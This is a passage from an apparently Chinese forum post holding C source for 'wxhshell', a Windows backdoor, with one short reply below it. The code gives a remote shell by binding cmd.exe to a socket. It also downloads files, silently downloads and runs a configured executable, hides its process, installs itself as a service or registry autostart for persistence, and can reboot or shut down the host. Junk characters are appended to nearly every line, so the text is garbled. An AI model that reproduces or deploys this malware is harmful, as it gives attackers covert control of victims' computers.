  // 下载文件 j5lSu~  
  if(strstr(cmd,"http://")) { /\=syl  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); yFp8 >  
  if(DownloadFile(cmd,wsh)) }"?v=9.G  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); &yFt@g]  
  else XdKhT618G  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); $_N<! h*\  
  } HtWuZq; w  
  else { YG<7Zv  
vi+k#KE  
    switch(cmd[0]) { V#!ftu#c?  
  L_Q1:nL-0  
  // 帮助 !oTF2Q+C  
  case '?': { Z!Y ^iN  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); !C&!Wj  
    break; mz\d>0F U.  
  } )*[3Imq/  
  // 安装 L&td4`2y  
  case 'i': { KNtsz[#b  
    if(Install()) K8 Y/sHl  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); U0}]3a0  
    else vO#4$ ,  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ^+CTv  
    break; 8$ dJh]\Y  
    } IaDc hI  
  // 卸载 !"\UT&  
  case 'r': { RC5b'+E&#  
    if(Uninstall()) ve.rp F\  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); {}ks[%,_\  
    else Gq4~9Tm)*  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); qp>V\h\  
    break; q.L0rY!  
    } ; qT~81  
  // 显示 wxhshell 所在路径 Q>y2C8rnJ/  
  case 'p': { MH{$"^K  
    char svExeFile[MAX_PATH]; [eV!ho*r  
    strcpy(svExeFile,"\n\r"); k8E'wN  
      strcat(svExeFile,ExeFile); !Kv.v7'N/k  
        send(wsh,svExeFile,strlen(svExeFile),0); Rg! [ic !  
    break; `.PZx%=  
    } q=8I0E&q  
  // 重启 ^J0*]k%   
  case 'b': { K9Dxb  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); }0Isi G  
    if(Boot(REBOOT)) 1=C>S2q  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); .Y.\D\>~  
    else { g0w<vD`<g  
    closesocket(wsh); Z IfhC'  
    ExitThread(0); ,]e!OZ[$m  
    } \N1 G5W  
    break; oWGtKtDhH  
    } b?U!<s.  
  // 关机 _iBNy   
  case 'd': { Q5'DV!0aSv  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); X^4HYm  
    if(Boot(SHUTDOWN)) PE1F3u>O  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); =VkbymIZ4y  
    else { B9;dX6c  
    closesocket(wsh); P@LYa_UFsN  
    ExitThread(0); :4|W;Lkd!  
    } ;c"T#CH.  
    break; SEm3T4dfzf  
    } < \]o#w*:  
  // 获取shell <_&H<]t%rI  
  case 's': { 7VkT(xnm  
    CmdShell(wsh); $<c0Z6f  
    closesocket(wsh); 3P C'P2  
    ExitThread(0); e2|2$|  
    break; &CW,qY,sh  
  } `"J=\3->  
  // 退出 0ts] iQ7  
  case 'x': { ES72yh]  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ks=j v:  
    CloseIt(wsh); R.Xh&@f`  
    break; lb3:#?  
    } xMI4*4y(  
  // 离开 '6*^s&H~  
  case 'q': { ?.#?h>MS{s  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); F"xD^<i  
    closesocket(wsh); Jvt| q5  
    WSACleanup(); Gz;.?=&iF  
    exit(1); COJny/FT|  
    break; 'r6s5 WC  
        } I, 9!["^|  
  } E/@w6uIK[  
  } \nM$qr'`B  
!MoJb#B3^]  
  // 提示信息 6?n AO  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); g+h)s!$sB  
} 1wpT"5B  
  } zk8 s?$  
Wi_5.=  
  return; s-]k7a 2V  
} 4PUSFZK?  
`MFw2nu@t  
// shell模块句柄 &U:bRzD  
int CmdShell(SOCKET sock) U%3d_"{;  
{ 4;@|tC|u  
STARTUPINFO si; in_~,fd  
ZeroMemory(&si,sizeof(si)); CHp`4  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; s"b()JP  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Gqvnc8V&  
PROCESS_INFORMATION ProcessInfo; z+5l: f  
char cmdline[]="cmd"; <H3njv  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); =pQA!u]QE  
  return 0; !$r4 lu  
} G+?@4?` z  
;=piJ%k  
// 自身启动模式 Onoi^MDy  
int StartFromService(void) )3g7dtq}  
{ uKF?UXc  
typedef struct %O-RhB4q  
{ &kh7|:{j  
  DWORD ExitStatus; %''z~LzJ8  
  DWORD PebBaseAddress; qa 'YZE`  
  DWORD AffinityMask; Srw ciF  
  DWORD BasePriority; >&V?1!N"  
  ULONG UniqueProcessId; F;p>bw  
  ULONG InheritedFromUniqueProcessId; e _\]Q-  
}   PROCESS_BASIC_INFORMATION; e6n1/TtqM  
cbvK;;  
PROCNTQSIP NtQueryInformationProcess; 1jU<]09.  
ro{q':Z3  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Z(LDAZG  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; sdP% Y<eAT  
a86m?)-c  
  HANDLE             hProcess; ~#3h-|]*  
  PROCESS_BASIC_INFORMATION pbi; 6||zwwk'.  
F4+mkB:w*7  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); [wB-e~   
  if(NULL == hInst ) return 0; ZC+F*:$  
k{ >rI2;  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); yGl (QLk  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); u=B_cA}:  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); x9}D2Ui  
%Hdg,NH  
  if (!NtQueryInformationProcess) return 0;  qGG  
IgH[xwzy[  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ~I<yN`5(a  
  if(!hProcess) return 0; .])ubK_9  
f&=y\uP]  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Fhw:@@=  
}}Ah-QU  
  CloseHandle(hProcess); *yp}#\rk  
q]Gym 7o  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); R:S Fj!W1  
if(hProcess==NULL) return 0; 5 OR L  
oL0Q%_9hW  
HMODULE hMod; v w$VR PW  
char procName[255]; envu}4wU=e  
unsigned long cbNeeded; z#*M}RR  
%m[ :},  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); (pXZ$R:  
h _6QVab@  
  CloseHandle(hProcess); .QX|:]|n  
sOA!Sl  
if(strstr(procName,"services")) return 1; // 以服务启动 cQEK>aAd  
Ys,}L.  
  return 0; // 注册表启动 w :2@@)pr  
} \M^L'Mkj  
1GB$;0 W),  
// 主模块 =1 g  
int StartWxhshell(LPSTR lpCmdLine) +T:F :X`  
{ #I[tsly}  
  SOCKET wsl; ~6!{\un   
BOOL val=TRUE; |,CWk|G  
  int port=0; s hjb b  
  struct sockaddr_in door; w^tNYN,i  
Rb=T'x'  
  if(wscfg.ws_autoins) Install(); TNBFb_F  
c;DWSgIw  
port=atoi(lpCmdLine); g(xuA^~J  
A `\2]t$z  
if(port<=0) port=wscfg.ws_port; }R5>ja0  
tWL3F?wd  
  WSADATA data; tcOgF:  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; FyYD7E  
N@J "~9T  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   xC;b<~zN  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); WCxt-+#  
  door.sin_family = AF_INET; k&|L"N|w  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); y BF3Lms  
  door.sin_port = htons(port); B4AV ubMbe  
[*zB vj}G  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { /CX_@%m}e=  
closesocket(wsl); CuRYtY@9  
return 1; 5Z{i't0CQ  
} pk2OZ,14Mj  
ecIxiv\  
  if(listen(wsl,2) == INVALID_SOCKET) { `Q?rQ3A}  
closesocket(wsl); P!yE{_%  
return 1; Y6L_ _ RT  
} BeZr5I"`}  
  Wxhshell(wsl); Zh.5\&bm  
  WSACleanup(); 4Z>KrFO  
7 J$  
return 0; GkqKIs  
4:<74B  
} eqD|3YX  
O'y8[<  
// 以NT服务方式启动 b|| c^f  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) &~oBJar  
{ } MBxfZ4I  
DWORD   status = 0; j4H]HGHv  
  DWORD   specificError = 0xfffffff; _r+2o-ZR  
fT1/@  
  serviceStatus.dwServiceType     = SERVICE_WIN32; JK:i-  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; _jt>%v4}4  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; B|E4(,]^  
  serviceStatus.dwWin32ExitCode     = 0; o/273I  
  serviceStatus.dwServiceSpecificExitCode = 0; rvjPm5[t  
  serviceStatus.dwCheckPoint       = 0; @]yd Wd  
  serviceStatus.dwWaitHint       = 0; mX))*e4k  
&P 'cf|KI  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); c p.c$  
  if (hServiceStatusHandle==0) return; \k\ {S2SU  
M3- bFIt  
status = GetLastError(); ~/LO @  
  if (status!=NO_ERROR) SYkLia(Ty  
{ @-y.Y}k#$~  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; kj_ o I5<'  
    serviceStatus.dwCheckPoint       = 0; jA@jsv  
    serviceStatus.dwWaitHint       = 0; S*,DX~vig  
    serviceStatus.dwWin32ExitCode     = status; /c 3A>  
    serviceStatus.dwServiceSpecificExitCode = specificError; %D|p7&  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); {RFpTh7f:  
    return; x=(y  
  } $g? ]9}p  
4D(5WJ&  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 297X).  
  serviceStatus.dwCheckPoint       = 0; @jb -u S  
  serviceStatus.dwWaitHint       = 0; Tjba @^T  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); NzB"u+jB  
} J`/t;xk  
c*LB=;npI  
// 处理NT服务事件,比如:启动、停止 :t?Z  
VOID WINAPI NTServiceHandler(DWORD fdwControl) :^~I@)"ov  
{ )EQWc0iKG  
switch(fdwControl) k=D_9_  
{ 4cC  
case SERVICE_CONTROL_STOP: tQz=_;jy  
  serviceStatus.dwWin32ExitCode = 0; 7Gg3$E+#*  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; /'KCW_Q  
  serviceStatus.dwCheckPoint   = 0; [-}LEH1[p  
  serviceStatus.dwWaitHint     = 0; LLp/ SWe  
  { v%gkQa  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); La&?0PA  
  } hgt@Mb   
  return; yV`H_iC  
case SERVICE_CONTROL_PAUSE: 9eOP:/'}w  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; zJC!MeN  
  break; !EO*xxQ  
case SERVICE_CONTROL_CONTINUE: SMX70T!'9  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; FvX<(8'#a  
  break; 5P=3.Mk  
case SERVICE_CONTROL_INTERROGATE: Cq mtO?vne  
  break; ~<[$.8*  
}; xz!b@5DR'%  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 1Pya\To,m  
} ?#N: a  
 6/u]r  
// 标准应用程序主函数 x"/DCcZ  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) c8uFLM j  
{ Da.eVU;  
KZ8Hp=s  
// 获取操作系统版本 z?T;2/_7  
OsIsNt=GetOsVer(); +fh@m h0[  
GetModuleFileName(NULL,ExeFile,MAX_PATH); L'1!vu *Rg  
m/ D ~D~  
  // 从命令行安装 +qN}oyL  
  if(strpbrk(lpCmdLine,"iI")) Install(); OH.lAF4E(  
pxf(C<y6_  
  // 下载执行文件 )\nKr;4MH  
if(wscfg.ws_downexe) { '0\,waEu  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) zVEG ) Hr  
  WinExec(wscfg.ws_filenam,SW_HIDE); > 4n\  
} Kkfza  
G;RFY!o  
if(!OsIsNt) { =rL%P~0wq  
// 如果时win9x,隐藏进程并且设置为注册表启动 c? Z M<Y"  
HideProc(); j@g`Pm%u`  
StartWxhshell(lpCmdLine); ANIx0*Yl(  
} c5 ^CWk K  
else & OO0v*@{  
  if(StartFromService()) dnEIR5%+.  
  // 以服务方式启动 &m{SWV+   
  StartServiceCtrlDispatcher(DispatchTable); /x2-$a:<  
else dWc'RwL  
  // 普通方式启动 n 0/<m.  
  StartWxhshell(lpCmdLine); &A/k{(.XP  
q4y P\B  
return 0; zWs ("L(#s  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
级别: 大掌柜
发帖
7343
铜板
6618
人品值
1388
贡献值
28
交易币
100
好评度
7488
信誉值
10
金币
0
所在楼道
学一楼
只看该作者 1 发表于: 2006-10-10
学习一下 呵呵
描述
快速回复

您目前还是游客,请 登录注册
欢迎提供真实交流,考虑发帖者的感受
认证码:
验证问题:
10+5=?,请输入中文答案:十五